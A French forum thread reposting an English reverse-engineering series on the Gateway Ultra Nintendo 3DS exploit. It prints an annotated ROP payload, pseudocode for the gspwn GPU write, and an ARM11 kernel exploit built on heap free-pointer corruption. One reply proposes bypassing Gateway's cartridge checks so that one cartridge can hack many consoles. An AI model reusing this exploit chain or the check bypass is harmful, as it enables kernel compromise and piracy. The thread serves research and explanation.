Reverse Engineering du Gateway


deaphroat
 Share

Messages recommandés

Hello

Un peu de lecture si ça intéresse certains, par Yifan Lu :

Reversing Gateway Ultra First Stage (Part 1)

And now for something completely different

As a break from Vita hacking, Ive decided to play around with the Nintendo 3DS exploit released by Gateway yesterday. The 3DS is a much easier console to hack, but unfortunately, the scene is dominated by a piracy company who, ironically, implement various features to protect their intellectual property (one such feature purposely bricks any user of a cloned piracy cartand also legitimate users too). Ethics aside, it would be useful to reverse Gateways exploits and use them for homebrew loading so I took a quick look at it. The first stage of the exploit is an entry-point into the system that allows code to run in the unprivileged user-mode. It is usually used to exploit a kernel vulnerability, which is the second stage. In the unique case of Gateway, the first stage is broken up into two parts (in order for them to obfuscate their payload). I am only going to look at the first part for now.

Vulnerability

The userland vulnerability is a known use-after-free bug in WebKit found in April last year (and no, the latest Vita firmware is not vulnerable). Depending on the user-agent of the 3DS visiting the exploit page, a different payload for that browser version is sent. A GBATemp user has dumped all the possible payloads, and I used the 4.x one in my analysis (although I believe the only difference in the different payloads are memory offsets).

Details

This is what the initial first stage payload does:

void *_this = 0x08F10000;
int *read_len = 0x08F10020;
int *buffer = 0x08F01000;
int state = 0;
int i = 0;
FS_MOUNTSDMC("dmc:");
IFile_Open(_this, L"dmc:/Launcher.dat", 0x1);
*((int *)_this + 1) = 0x00012000; // fseek according to sm on #3dsdev
IFile_Read(_this, read_len, buffer, 0x4000);
for (i = 0; i < 0x4000/4; i++){state += 0xD5828281;buffer[i] += state;}

The important part here is that the rest of the payload is decrypted from Launcher.dat by creating a stream cipher from a (crappy) PRNG that just increments by 0xD5828281 every iteration. Instead of an xor-pad, it uses an add-pad. Otherwise it is pretty standard obfuscation. A neat trick in this ROP payload is the casting of ARM code as Thumb to get gadgets that were not originally compiled into code (I am unsure if they also tried casting RO data as Thumb code, as that is also a way of getting extra gadgets). Another neat trick is emulating loops by using ARM conditional stores to conditionally set the stack pointer to some value (although I was told they used this trick in the original Gateway payload too).

Future

The first part was very simple and straightforward and was easy to reverse. I am expecting that the second part would involve a lot more code so I may need to work on a tool to extract the gadgets from code. (By the way, thanks to sbJFn5r on #3dsdev for providing me with the WebKit code to look at and sm for the hint about fseek). It is likely that I wont have the time to continue this though (still working on the Vita) but it seems like many others are farther ahead than me anyways.

Payload (For those who care, the raw (annotated) payload for 4.X ) :

0x08B47400: 0x0010FFFD ; (nop) POP {PC}

0x08B47404: 0x0010FFFD ; (nop) POP {PC}

0x08B47408: 0x0010FFFD ; (nop) POP {PC}

0x08B4740C: 0x0010FFFD ; (nop) POP {PC}

0x08B47410: 0x002AD574 ; LDMFD SP!, {R0,PC}

0x08B47414: 0x002A5F27 ; R0 = "dmc:"

0x08B47418: 0x00332BEC ; FS_MOUNTSDMC(), then LDMFD SP!, {R3-R5,PC}

0x08B4741C: 0x08B475F0 ; R3, dummy

0x08B47420: 0x00188008 ; R4, dummy

0x08B47424: 0x001DA00C ; R5, dummy

0x08B47428: 0x0017943B ; Thumb: POP {R0-R4,R7,PC}

0x08B4742C: 0x08F10000 ; R0 = this

0x08B47430: 0x08B47630 ; R1 = L"dmc:/Launcher.dat"

0x08B47434: 0x00000001 ; R2 = read/only

0x08B47438: 0x0039B020 ; R3, dummy

0x08B4743C: 0x001CC01C ; R4, dummy

0x08B47440: 0x002C6010 ; R7, dummy

0x08B47444: 0x0025B0A8 ; IFile_Open(), then LDMFD SP!, {R4-R7,PC}

0x08B47448: 0x00231FF0 ; R4, dummy

0x08B4744C: 0x002CBFF0 ; R5, dummy

0x08B47450: 0x00124000 ; R6, dummy

0x08B47454: 0x0033FFFD ; R7, dummy

0x08B47458: 0x0010FFFD ; (nop) POP {PC}

0x08B4745C: 0x002AD574 ; LDMFD SP!, {R0,PC}

0x08B47460: 0x00012000 ; R0

0x08B47464: 0x00269758 ; LDMFD SP!, {R1,PC}

0x08B47468: 0x08F10004 ; R1

0x08B4746C: 0x00140450 ; *(int*)0x08F10004 = 0x00012000, then LDMFD SP!, {R4,PC}

0x08B47470: 0x001CC024 ; R4

0x08B47474: 0x0017943B ; Thumb: POP {R0-R4,R7,PC}

0x08B47478: 0x08F10000 ; R0 = this

0x08B4747C: 0x08F10020 ; R1 = p_total_read

0x08B47480: 0x08F01000 ; R2 = read_buffer

0x08B47484: 0x00004000 ; R3 = size

0x08B47488: 0x00295FF8 ; R4, dummy

0x08B4748C: 0x00253FFC ; R7, dummy

0x08B47490: 0x002FC8E8 ; IFile_Read, then LDMFD SP!, {R4-R9,PC}

0x08B47494: 0x002BE030 ; R4, dummy

0x08B47498: 0x00212010 ; R5, dummy

0x08B4749C: 0x00271F40 ; R6, dummy

0x08B474A0: 0x0020C05C ; R7, dummy

0x08B474A4: 0x002DE0C4 ; R8, dummy

... START_DECODE_LOOP ...

0x08B474A8: 0x001B2000 ; R9, dummy || LR, dummy (upon loop)

0x08B474AC: 0x002AD574 ; LDMFD SP!, {R0,PC}

0x08B474B0: 0x08B4750C ; R0 (&state)

0x08B474B4: 0x001CCC64 ; R0 = *R0 = state, LDMFD SP!, {R4,PC}

0x08B474B8: 0x001057C4 ; R4, dummy

0x08B474BC: 0x00269758 ; LDMFD SP!, {R1,PC}

0x08B474C0: 0xD5828281 ; R1 (seed)

0x08B474C4: 0x00207954 ; R0 = R0 + R1, LDMFD SP!, {R4,PC}

0x08B474C8: 0x0011FFFD ; R4, dummy

0x08B474CC: 0x00269758 ; LDMFD SP!, {R1,PC}

0x08B474D0: 0x08B4750C ; R1 (&state)

0x08B474D4: 0x00140450 ; *R1 = R0 = next random, LDMFD SP!, {R4,PC}

0x08B474D8: 0x00354850 ; R4, dummy

0x08B474DC: 0x002AD574 ; LDMFD SP!, {R0,PC}

0x08B474E0: 0x08B47618 ; R0 (&buffer)

0x08B474E4: 0x001CCC64 ; R0 = *R0 = buffer, LDMFD SP!, {R4,PC}

0x08B474E8: 0x00127F6D ; R4, dummy

0x08B474EC: 0x00100D24 ; LDMFD SP!, {R4-R6,PC}

0x08B474F0: 0x001037E0 ; R4, dummy

0x08B474F4: 0x08B4748C ; R5, dummy

0x08B474F8: 0x08B4740C ; R6, dummy

0x08B474FC: 0x001CCC64 ; R0 = *R0 (read32 from buffer), LDMFD SP!, {R4,PC}

0x08B47500: 0x0011BB00 ; R4, dummy

0x08B47504: 0x0010FFFD ; (nop) POP {PC}

0x08B47508: 0x00269758 ; LDMFD SP!, {R1,PC}

0x08B4750C: 0x00000000 ; R1 (PRG state)

0x08B47510: 0x00207954 ; R0 = R0 + R1 (add PRG state to buffer data), LDMFD SP!, {R4,PC}

0x08B47514: 0x001303A0 ; R4, dummy

0x08B47518: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}

0x08B4751C: 0x00101434 ; R4, dummy

0x08B47520: 0x0022FF64 ; R5, dummy

0x08B47524: 0x001303A0 ; R6, dummy

0x08B47528: 0x08B47400 ; R7, dummy

0x08B4752C: 0x0010FFFD ; R8, dummy

0x08B47530: 0x0010FFFD ; R9, dummy

0x08B47534: 0x00100B5C ; R10, dummy

0x08B47538: 0x0022FE44 ; R11, dummy

0x08B4753C: 0x0010FFFD ; R12, (nop) POP {PC}

0x08B47540: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12

0x08B47544: 0x001057C4 ; R4, dummy

0x08B47548: 0x00228AF4 ; R5, dummy

0x08B4754C: 0x00350658 ; R6, dummy

0x08B47550: 0x0010FFFD ; LR, (nop) POP {PC}

0x08B47554: 0x00158DE7 ; R1 = R0 = (decoded data), BLX LR

0x08B47558: 0x002AD574 ; LDMFD SP!, {R0,PC}

0x08B4755C: 0x08B47618 ; R0 (&buffer)

0x08B47560: 0x001CCC64 ; R0 = *R0 = buffer, LDMFD SP!, {R4,PC}

0x08B47564: 0x0011FFFD ; R4, dummy

0x08B47568: 0x00119B94 ; *R0 = R1 = (decoded data), LDMFD SP!, {R4,PC}

0x08B4756C: 0x00106694 ; R4, dummy

0x08B47570: 0x00269758 ; LDMFD SP!, {R1,PC}

0x08B47574: 0x00000004 ; R1

0x08B47578: 0x00207954 ; R0 = R0 + R1 (buffer + 4), LDMFD SP!, {R4,PC}

0x08B4757C: 0x00130344 ; R4, dummy

0x08B47580: 0x00269758 ; LDMFD SP!, {R1,PC}

0x08B47584: 0x08B47618 ; R1 (&buffer)

0x08B47588: 0x00140450 ; *R1 = R0 (set new buffer), LDMFD SP!, {R4,PC}

0x08B4758C: 0x00100D24 ; R4, dummy

0x08B47590: 0x00269758 ; LDMFD SP!, {R1,PC}

0x08B47594: 0xF70FB000 ; R1

0x08B47598: 0x00207954 ; R0 = R0 + R1 = 0xFFFFC004, LDMFD SP!, {R4,PC}

0x08B4759C: 0x00119864 ; R4, dummy

0x08B475A0: 0x001B560C ; SET_FLAGS (R0 != 0), if (flags) R0 = 1, LDMFD SP!, {R3,PC}

0x08B475A4: 0x002059C0 ; R3, dummy

0x08B475A8: 0x002AD574 ; LDMFD SP!, {R0,PC}

0x08B475AC: 0x08B47610 ; R0 (val for LR)

0x08B475B0: 0x00269758 ; LDMFD SP!, {R1,PC}

0x08B475B4: 0x08F00FFC ; R1

0x08B475B8: 0x00119B94 ; *R0 = R1 = 0x08F00FFC (next stage), LDMFD SP!, {R4,PC}

0x08B475BC: 0x00355FD4 ; R4, dummy

0x08B475C0: 0x00269758 ; LDMFD SP!, {R1,PC}

0x08B475C4: 0x08B474A8 ; R1

0x08B475C8: 0x0020E780 ; if (flags) *R0 = R1 = 0x08B474A8 (loop), LDMFD SP!, {R4,PC}

0x08B475CC: 0x002C2215 ; R4, dummy

0x08B475D0: 0x0010FFFD ; (nop) POP {PC}

0x08B475D4: 0x0010FFFD ; (nop) POP {PC}

0x08B475D8: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}

0x08B475DC: 0x002D5654 ; R4, dummy

0x08B475E0: 0x00103778 ; R5, dummy

0x08B475E4: 0x002FA864 ; R6, dummy

0x08B475E8: 0x00119B94 ; R7, dummy

0x08B475EC: 0x0020E780 ; R8, dummy

0x08B475F0: 0x00128605 ; R9, dummy

0x08B475F4: 0x00103DA8 ; R10, dummy

0x08B475F8: 0x08B475F8 ; R11, dummy

0x08B475FC: 0x0010FFFD ; R12, dummy

0x08B47600: 0x0018114C ; LDMFD SP!, {R4-R6,LR}

0x08B47604: 0x0010FFFD ; R4, dummy

0x08B47608: 0x002FC8E4 ; R5, dummy

0x08B4760C: 0x001037E0 ; R6, dummy

0x08B47610: 0x0023C494 ; LR (later set to 0x08B474A8)

0x08B47614: 0x002D6A30 ; SP = LR, LDMFD SP!, {LR,PC}

... END OF ROP PAYLOAD ...

0x08B47618: 0x08F01000 ; buffer

0x08B4761C: 0x002D6A1C ;

0x08B47620: 0x08B47400 ;

0x08B47624: 0x0010FFFD ;

0x08B47628: 0x0010FFFD ;

0x08B4762C: 0x002D6A1C ;

0x08B47630: L"dmc:/Launcher.dat"

0x08B47654: 0x00000000 ;

0x08B47658: 0x00000000 ;

0x08B4765C: 0x00000000 ;

0x08B47660: 0x00000000 ;

0x08B47664: 0x00000000 ;

0x08B47668: 0x00000000 ;

0x08B4766C: 0x002D6A1C ;

0x08B47670: 0x00000000 ;

0x08B47674: 0x00000000 ;

0x08B47678: 0x00000000 ;

0x08B4767C: 0x00000000 ;

0x08B47680: 0x00000000 ;

0x08B47684: 0x00000000 ;

0x08B47688: 0x00000000 ;

0x08B4768C: 0x00000000 ;

0x08B47690: 0x00000000 ;

0x08B47694: 0x00000000 ;

0x08B47698: 0x00000000 ;

0x08B4769C: 0x00000000 ;

0x08B476A0: 0x00000000 ;

0x08B476A4: 0x00000000 ;

0x08B476A8: 0x00000000 ;

0x08B476AC: 0x00000000 ;

0x08B476B0: 0x00000000 ;

0x08B476B4: 0x00000000 ;

0x08B476B8: 0x00000000 ;

0x08B476BC: 0x00000000 ;

0x08B476C0: 0x00000000 ;

0x08B476C4: 0x00000000 ;

0x08B476C8: 0x00000000 ;

0x08B476CC: 0x00000000 ;

0x08B476D0: 0x00000000 ;

0x08B476D4: 0x00000000 ;

0x08B476D8: 0x00000000 ;

0x08B476DC: 0x00000000 ;

0x08B476E0: 0x00000000 ;

0x08B476E4: 0x00000000 ;

0x08B476E8: 0x00000000 ;

0x08B476EC: 0x00000000 ;

0x08B476F0: 0x00000000 ;

0x08B476F4: 0x00000000 ;

0x08B476F8: 0x00000000 ;

0x08B476FC: 0x00000000 ;

Reversing Gateway Ultra First Stage (Part 2)

When we last left off, we looked at the ROP code that loaded a larger second-part of the payload. Now we will walk through what was loaded and how userland native code execution was achieved. I am still an amateur at 3DS hacking so I am sure to get some things wrong, so please post any corrections you have in the comments and I will update the post as needed.

Pseudocode

Some of the hard coded addresses are inside the stack payload loaded by the first part from Launcher.dat (at 0x08F01000).

int GX_SetTextureCopy(void *input_buffer, void *output_buffer, unsigned int size,

int in_x, int in_y, int out_x, int out_y, int flags);

int GSPGPU_FlushDataCache(void *addr, unsigned int len);

int svcSleepThread(unsigned long long nanoseconds);

void memcpy(void *dst, const void *src, unsigned int len);

// There are offsets and addresses specific to each FW version inside of

// the first stage that is used by both the first and second stage payloads

struct // example for 4.1.0

{

void (*payload_code)(void); // 0x009D2000

unsigned int unk_4; // 0x252D3000

unsigned int orig_code; // 0x1E5F8FFD

void *payload_target; // 0x192D3000

unsigned int unk_10; // 0xEFF83C97

unsigned int unk_14; // 0xF0000000

unsigned int unk_18; // 0xE8000000

unsigned int unk_1C; // 0xEFFF4C80

unsigned int unk_20; // 0xEFFE4DD4

unsigned int unk_24; // 0xFFF84DDC

unsigned int unk_28; // 0xFFF748C4

unsigned int unk_2C; // 0xEFFF497C

unsigned int unk_30; // 0x1FFF4C84

unsigned int unk_34; // 0xFFFD0000

unsigned int unk_38; // 0xFFFD2000

unsigned int unk_3C; // 0xFFFD4000

unsigned int unk_40; // 0xFFFCE000

} fw_specific_data;

void payload() // base at 0x08F01000

{

int i;

unsigned int kversion;

struct fw_specific_data *data;

int code_not_copied;

// part 1, some setup

*(int*)0x08000838 = 0x08F02B3C;

svcSleepThread (0x400000LL);

svcSleepThread (0x400000LL);

svcSleepThread (0x400000LL);

for (i = 0; i < 3; i++) // do 3 times to be safe

{

GSPGPU_FlushDataCache (0x18000000, 0x00038400);

GX_SetTextureCopy (0x18000000, 0x1F48F000, 0x00038400, 0, 0, 0, 0, 8);

svcSleepThread (0x400000LL);

GSPGPU_FlushDataCache (0x18000000, 0x00038400);

GX_SetTextureCopy (0x18000000, 0x1F4C7800, 0x00038400, 0, 0, 0, 0, 8);

svcSleepThread (0x400000LL);

}

kversion = *(unsigned int *)0x1FF80000; // KERNEL_VERSION register

data = 0x08F02894; // buffer to store FW specific data

// part 2, get kernel specific data from our buffer

if (kversion == 0x02220000) // 2.34-0 4.1.0

{

memcpy (data, 0x08F028D8, 0x44);

}

else if (kversion == 0x02230600) // 2.35-6 5.0.0

{

memcpy (data, 0x08F0291C, 0x44);

}

else if (kversion == 0x02240000) // 2.36-0 5.1.0

{

memcpy (data, 0x08F02960, 0x44);

}

else if (kversion == 0x02250000) // 2.37-0 6.0.0

{

memcpy (data, 0x08F029A4, 0x44);

}

else if (kversion == 0x02260000) // 2.38-0 6.1.0

{

memcpy (data, 0x08F029E8, 0x44);

}

else if (kversion == 0x02270400) // 2.39-4 7.0.0

{

memcpy (data, 0x08F02A2C, 0x44);

}

else if (kversion == 0x02280000) // 2.40-0 7.2.0

{

memcpy (data, 0x08F02A70, 0x44);

}

else if (kversion == 0x022C0600) // 2.44-6 8.0.0

{

memcpy (data, 0x08F02AB4, 0x44);

}

// part 3, execute code

do

{

// if the function has it's original code, we try again

code_not_copied = *(unsigned int *)data->payload_code + data->orig_code == 0;

// copy second stage to FCRAM

memcpy (0x18410000, 0x08F02B90, 0x000021F0);

// make sure data is written and cache flushed || attempted GW obfuscation

memcpy (0x18410000, 0x18410000, 0x00010000);

memcpy (0x18410000, 0x18410000, 0x00010000);

GSPGPU_FlushDataCache (0x18410000, 0x000021F0);

// copy the second stage code

GX_SetTextureCopy (0x18410000, data->payload_target, 0x000021F0, 0, 0, 0, 0, 8);

svcSleepThread (0x400000LL);

memcpy (0x18410000, 0x18410000, 0x00010000);

} while (code_not_copied);

(void(*)() 0x009D2000)();

// I think it was originally data->payload_code but later they hard coded it

// for some reason

}

Details

The first part, Im not too sure about. I think its either some required housekeeping or needless calls to obfuscate the exploit (found later). I couldnt find any documentation on the 0x1F4XXXXX region except that is it in the VRAM. (EDIT: plutoo tells me its the framebuffer. Likely the screen is cleared black for debugging or something.) I am also unsure of the use of setting 0×08000838 to some location in the payload that is filled with 0x002CAFE4″. In the second part, version specific information for each released kernel version is copied to a global space for use by both the first stage and the second stage exploit code. (This includes specific kernel addresses and stuff).

The meat of the exploit is an unchecked GPU DMA write that allows the attacker to overwrite read-only executable pages in memory. This is the same exploit used by smealum in his ninjhax and he gives a much better explanation of gspwn in his blog. In short, certain areas of the physical memory are mapped at some virtual address as read-only executable (EDIT: yellows8 tells me specifically, this is in a CRO, which is something like shared libraries for 3DS) but when the physical address of the same location is written to by the GPU, it does not go through the CPUs MMU (since it is a different device) and can write to it. The need for thread sleep (and maybe the weird useless memcpys) is because the CPUs various levels of cache needs some time to see the changes that it did not expect from the GPU.

The second stage of the payload is the ARM code copied from Launcher.dat (3.0.0) offset 0x1B90 for a length of 0x21F0 (remember to decrypt it using the add-pad stream cipher described in the first post).

Raw ROP Payload Annotated

It is a huge mess, but for those who are curious, here it is. The bulk of the code are useless obfuscation (for example, it would pop 9 registers full of junk data and then fill the same 9 registers with more junk data afterwards). However, the obfuscation is easy to get past if you just ignore everything except gadgets that do 1) memory loads, 2) memory stores, 3) set flags, or 4) function call. Every other gadget is useless. They also do this weird thing where they memcpy one part of the stack to another part (which goes past the current SP). However, comparing the two blocks of data (before and after the copy) shows nothing different aside from some garbage values.

Reversing Gateway Ultra Stage 2: Owning ARM11 Kernel

Its been a couple of days since my initial analysis of Gateway Ultra, released last week to enable piracy on 3DS. I spent most of this time catching up on the internals of the 3DS. I cant thank the maintainers of 3dbrew enough (especially yellows8, the master of 3DS reversing) for the amount of detailed and technical knowledge found on the wiki. The first stage was a warmup and did not require any specific 3DS knowledge to reverse. The problem with the second stage is that while it is easy to see the exploit triggered and code to run, the actual exploit itself was not as clear. I looked at all the function calls made and made a couple of hypothesis of where the vulnerability resided, and reversed each function to the end to test my hypothesis. Although I many dead ends and false leads, the process of reversing all these functions solidified my understanding of the system.

Code

As always, I like to post the reversed code first so those with more knowledge than me dont have to read my verbose descriptions. I will explain the interesting parts afterwards. I am including the full Gateway reverse of the shellcode including parts that are irrelevant either because it is used as obfuscation, to provide stability, or as setup for later parts.

int memcpy(void *dst, const void *src, unsigned int len);

int GX_SetTextureCopy(void *input_buffer, void *output_buffer, unsigned int size,

int in_x, int in_y, int out_x, int out_y, int flags);

int GSPGPU_FlushDataCache(void *addr, unsigned int len);

int svcSleepThread(unsigned long long nanoseconds);

int svcControlMemory(void **outaddr, unsigned int addr0, unsigned int addr1,

unsigned int size, int operation, int permissions);

int

do_gspwn_copy (void *dst, unsigned int len, unsigned int check_val, int check_off)

{

unsigned int result;

do

{

memcpy (0x18401000, 0x18401000, 0x10000);

GSPGPU_FlushDataCache (0x18402000, len);

// src always 0x18402000

GX_SetTextureCopy(0x18402000, dst, len, 0, 0, 0, 0, 8);

GSPGPU_FlushDataCache (0x18401000, 16);

GX_SetTextureCopy(dst, 0x18401000, 0x40, 0, 0, 0, 0, 8);

memcpy(0x18401000, 0x18401000, 0x10000);

result = *(unsigned int *)(0x18401000 + check_off);

} while (result != check_val);

return 0;

}

int

arm11_kernel_exploit_setup (void)

{

unsigned int patch_addr;

unsigned int *buffer;

int i;

int (*nop_func)(void);

int *ipc_buf;

int model;

// part 1: corrupt kernel memory

buffer = 0x18402000;

// 0xFFFFFE0 is just stack memory for scratch space

svcControlMemory(0xFFFFFE0, 0x18451000, 0, 0x1000, 1, 0); // free page

patch_addr = *(int *)0x08F028A4;

buffer[0] = 1;

buffer[1] = patch_addr;

buffer[2] = 0;

buffer[3] = 0;

// overwrite free pointer

do_gspwn_copy(0x18451000, 0x10u, patch_addr, 4);

// trigger write to kernel

svcControlMemory(0xFFFFFE0, 0x18450000, 0, 0x1000, 1, 0);

// part 2: obfuscation or trick to clear code cache

for (i = 0; i < 0x1000; i++)

{

buffer = 0xE1A00000; // ARM NOP instruction

}

buffer[i-1] = 0xE12FFF1E; // ARM BX LR instruction

nop_func = *(unsigned int *)0x08F02894 - 0x10000; // 0x10000 below current code

do_gspwn_copy(*(unsigned int *)0x08F028A0 - 0x10000, 0x10000, 0xE1A00000, 0);

nop_func ();

// part 3: get console model for future use (?)

__asm__ ("mrc p15,0,%0,c13,c0,3\t\n"

"add %0, %0, #128\t\n" : "=r" (ipc_buf));

ipc_buf[0] = 0x50000;

__asm__ ("mov r4, %0\t\n"

"mov r0, %1\t\n"

"ldr r0, [r0]\t\n"

"svc 0x32\t\n" :: "r" (ipc_buf), "r" (0x3DAAF0) : "r0", "r4");

if (ipc_buf[1])

{

model = ipc_buf[2] & 0xFF;

}

else

{

model = -1;

}

*(int *)0x8F01028 = model;

return 0;

}

// after running setup, run this to execute func in ARM11 kernel mode

int __attribute__((naked))

arm11_kernel_exploit_exec (int (*func)(int, int, int), int arg1, int arg2)

{

__asm__ ("mov r5, %0\t\n" // R5 = 0x3D1FFC, not used. likely obfusction.

"svc 8\t\n" // CreateThread syscall, corrupted, args not needed

"bx lr\t\n" :: "r" (0x3D1FFC) : "r5");

}

Vulnerability

The main vulnerability is actually still gspwn. Whereas in the first stage, it was used to overwrite (usually read-only) code from a CRO dynamic library to get userland code execution, it is now used to overwrite a heap free pointer so when the next memory page is freed, it would overwrite kernel memory.

3DS Memory Layout

To understand how the free pointer write corruption works, lets first go over how the 3DS memory is laid out (in simple terms). You can get the full picture here, but I want to go over some key points. First, the main memory (used by applications and services) called the FCRAM is located at physical address 0×20000000 to 0×28000000. It is mapped in virtual memory in many places. First, the main application which is at around FCRAM 0x23xxxxxx (or higher if it is a system process or applet like the web browser) is mapped to 0×00100000 as read-only. Next we have some pages in the FCRAM 0x24xxxxxx region that can be mapped by the application on demand to virtual address 0x18xxxxxx through the syscall ControlMemory. Finally, the entire FCRAM is mapped in kernel 0xF0000000 0xF8000000 (this is for 4.1, different in other versions).

Another note about memory is that the ARM11 kernel is not located in the FCRAM, but in something called the AXI WRAM. The name is not important, but what is important is that its physical address 0x1FF80000 is mapped twice in kernel memory space. 0xFFF60000 is marked read-only executable and 0xEFF80000 is marked read-write non-executable. However, writing to 0xEFF80000 will allow you to execute the code at 0xFFF60000, which defeats the whole purpose of marking the pages non-executable. Since these mappings only apply in kernel mode, you would still need to perform a write to that address with kernel permissions.

ControlMemory Unchecked Write

The usual process for handling user controlled pointers in a syscall is to use the special ARM instructions LDRT and STRT, which performs the pointer dereference with user privileges in kernel mode. However, what if we overwrite a pointer that the developers did not think is user controlled? The goal is achieved by the ControlMemory syscall along with gspwn. The ControlMemory syscall is used to allocate and free pages of memory from the heap region of the FCRAM. When it is called to free, like most heap allocators, certain pointers are stored in the newly freed memory block (to point to the next and previous free blocks). Like most heap allocators, it also performs coalescing, which means two free blocks will be combined to form a larger free block (and the pointers to and from it is updated accordantly).

The plan here is to free a block of memory, which places certain pointers in the freed block. This is usually safe since once the user frees the block, it is unmapped from the user virtual memory space and they cannot access the memory any more. However, we can with gspwn, so we overwrite the free pointer with gspwn to overwrite the code in the 0xEFF80000 region. And that is possible because the pointer dereference is done with kernel permissions because the pointers stored here is not normally user accessible.

The data stored in the freed region is as follows:

struct{int some_count;struct free_data *next_free_block;struct free_data *prev_free_block;int unk_C;int unk_10;} free_data;

When the first ControlMemory call happens in the exploit, it frees FCRAM 0×24451000 and writes the free_data structure to it. We then use gspwn to overwrite next_free_block to point to the kernel code we want to overwrite. Next we call ControlMemory to free the page immediately before (FCRAM 0×24450000). This will coalesce the block with

((struct free_data *)0x24450000)->next_free_block = ((struct free_data *)0x24451000)->next_free_block;

((struct free_data *)0x24451000)->next_free_block->prev_free_block = (struct free_data *)0x24450000;

As you can see, we control next_free_block of 0×24451000 and therefore control the write.

But were not done yet. The above pseudocode was an artist rendition of what happens. Obviously, physical addresses are not used here. The user region virtual address (0x18xxxxxx) is not used either. The pointers here are the kernel virtual address 0xF4450000 and 0xF4451000. Since we can only write the value 0xF4450000 (or on 9.2, it is 0xE4450000), this poses a problem. Ideally, we want to write some ARM instruction that allows us to jump to code we control (BX R0 for example), however, 0xF4450000 assembles to vst4.8{d16-d19}, [r5], r0″ (dont worry, I dont know what that is either) and 0xE4450000 assembles to strb r0, [r5], #-0″. Both of which cant be used (obviously) to control code execution. Now of course, we can try another address and see if we get lucky and the address happens to compile to a branch instruction, but we are not lucky. None of the user mappable/unmappable regions would give us a branch.

Unaligned Code Corruption

Here is the clever idea. What if we stop thinking of the problem as: how do I write an instruction that gives us execution control? but instead as: how do I corrupt the code to control it? I dont usually like to post assembly listings, but it is impossible to dodge ARM assembly if you made it this far.

A note to systems programmers: There is a feature of ARMv6 that the 3DS enabled called unaligned read/write. This means a pointer does NOT have to be word aligned. In other words, you are allowed to write 4 bytes arbitrary to any address including something like 0×1003″. Now if youre not a systems designer and dont know about the problem of unaligned reads/writes (C nicely hides this from you), dont worry, it just means everything works as you expect it to.

Lets take a look at an arbitrary syscall, CreateThread. The actual syscall doesnt matter, we only care about the assembly code that it runs:

0:	e52de004 	push	{lr}		; (str lr, [sp, #-4]!)
   4:	e24dd00c 	sub	sp, sp, #12
   8:	e58d4004 	str	r4, [sp, #4]
   c:	e58d0000 	str	r0, [sp]
  10:	e28d0008 	add	r0, sp, #8
  14:	eb001051 	bl	0x4160
  18:	e59d1008 	ldr	r1, [sp, #8]
  1c:	e28dd00c 	add	sp, sp, #12
  20:	e49df004 	pop	{pc}		; (ldr pc, [sp], #4)

How do we patch this to control code flow? What if we get ride of the add on line 0x1c? Then we have on line 0xc, *SP = R0 and on line 0×20, PC = *SP, and since we trivially control R0 in a syscall, we can pass in a function pointer and run it.

Now if we replace the code at 0×18 with either 0xF4450000 or 0xE4450000, another problem arises. Both of those instructions (and there may be others from other firmware versions) try to dereference R5, which we dont control. However, what if we write 0xF4450000/0xE4450000 starting at 0×17? It would now corrupt two instructions instead of just one, but both are safe instructions.

...
  14:	eb001051 	bl	0x4160
  18:	009d1008 	addseq	r1, sp, r8
  1c:	e2e44500 	rsc	r4, r4, #0, 10
...
The actual code that is there isnt particularly useful/important, which is exactly what we want. We successfully patched the kernel to jump to our code with a single syscall. Now making SVC 8 with R0 pointing to some function would run it in ARM11 kernel mode.

Closing

Although some may call this exploit stupid or simple, I thought the way it was exploited was very novel. It involved overwriting pointers that are meant to be inaccessible to users, then a type confusion of pointer to ARM code, and finally abusing unaligned writes to corrupt instructions in a safe way. Next time, I hope to conclude this series by reversing the ARM9 kernel exploit next (for those unfamiliar, the 3DS has two kernels, one for applications and one for security, ARM9 is the interesting one). I want to thank, again, sbJFn5r for providing me with various dumps.

http://yifan.lu/2015/01/15/reversing-gateway-ultra-stage-2-owning-arm11-kernel/

Lien vers le commentaire
Partager sur d'autres sites

merci deaphroat. News très interessante, quoique une peu "velue" (un roman du hack technique en anglais, prevoir le tube d'Efferalgan :D).

Le gars sait de quoi il cause, et ça permet à smealum de sortir son freeloader 3DS, juste génial de voir avancer un hack collaboratif...la team f0f devrait en prendre de la graine (mais je diverge)

Lien vers le commentaire
Partager sur d'autres sites

il serait interessant de faire sauter les verifications de présence du gateway dans le lecteur au moment du passage en emunand. ca permettrait de hacker moulte 3DS avec un seul gateway, en installant bigbluemenu en chaine sur l'emunand.

Lien vers le commentaire
Partager sur d'autres sites

Ce genre de doc ca vaut même pas le coup de le traduire, c'est vraiment à réservé au dev, même traduite (traduire du langage informatique en francais de toute façon ^^) ca restera indigeste pour le commun des mortels...

Passe un coup de Google traduc et lis les grande ligne...

Lien vers le commentaire
Partager sur d'autres sites

Hello everyone,

In case you missed the most recent thread I posted on launching homebrew using the Gateway Go exploit, I pretty recently analyzed the Gateway launcher and understand (mostly) how it works. In the spoiler is a basic rundown.

The website exploit blindly runs the file "Launcher.dat" on the root of the SD card. I will not explain how the website exploit works. Since the website exploit does not have kernel access, it's up to the launcher to get access itself through another exploit, which in this case is gspwn. I'm not gonna explain how that works, either. After the initial payload has been successfully executed, the rest of the process is taken care of in the launcher. Here are the three stages of the launcher:

Stage 1: Basically setup. Code and information is copied to the memory to allow for referencing and execution later.

Stage 2: Owning the ARM11 kernel. This exploit overwrites the kernel data to allow for the exploitation of the ARM9 kernel.

Stage 3: Owning the ARM9 kernel. Basically causes the ARM11 kernel to overwrite data at a specific memory location from a pointer to code that was agreed to be valid by both kernels. After the data is overwritten, the ARM11 kernel resets, and the ARM9 waits for the kernel to boot again. After it is ready, ARM9 executes the code at the location that has the overwritten code. This code can (probably) be anything since it is being executed by the ARM9 kernel, which always has full permission to execute any code. This is the most interesting stage.



Knowing all of this, functions located at various parts in memory, and where gateway stores its data, I should be able to replace gateway's code with my own, which will be...I'm not sure yet. Probably a cfw or modification of a cfw since that will allow for the most stuff. I'm still considering exactly what to put in there and I may end up making my own thing that'll install a piece of software to allow execution of any launcher stored on the SD card (much like HBC). I might also write a piece of software that will take any existing launcher.dat and make it executable by the website exploit. I'll think about it.

Now, all I'm going to be doing with the exploit itself is modifying the gateway launcher since the website exploit doesn't allow for the execution of unsigned code, and the gateway launcher does.

I'll keep this thread updated with progress and a date/time.

As of January 20, 2015, I have gathered two people to help me translate the pseudo code that Yifan Lu has made into working C that can be compiled into ASM format. The first stage of the payload has been translated and is ready. We are now working on the second stage.



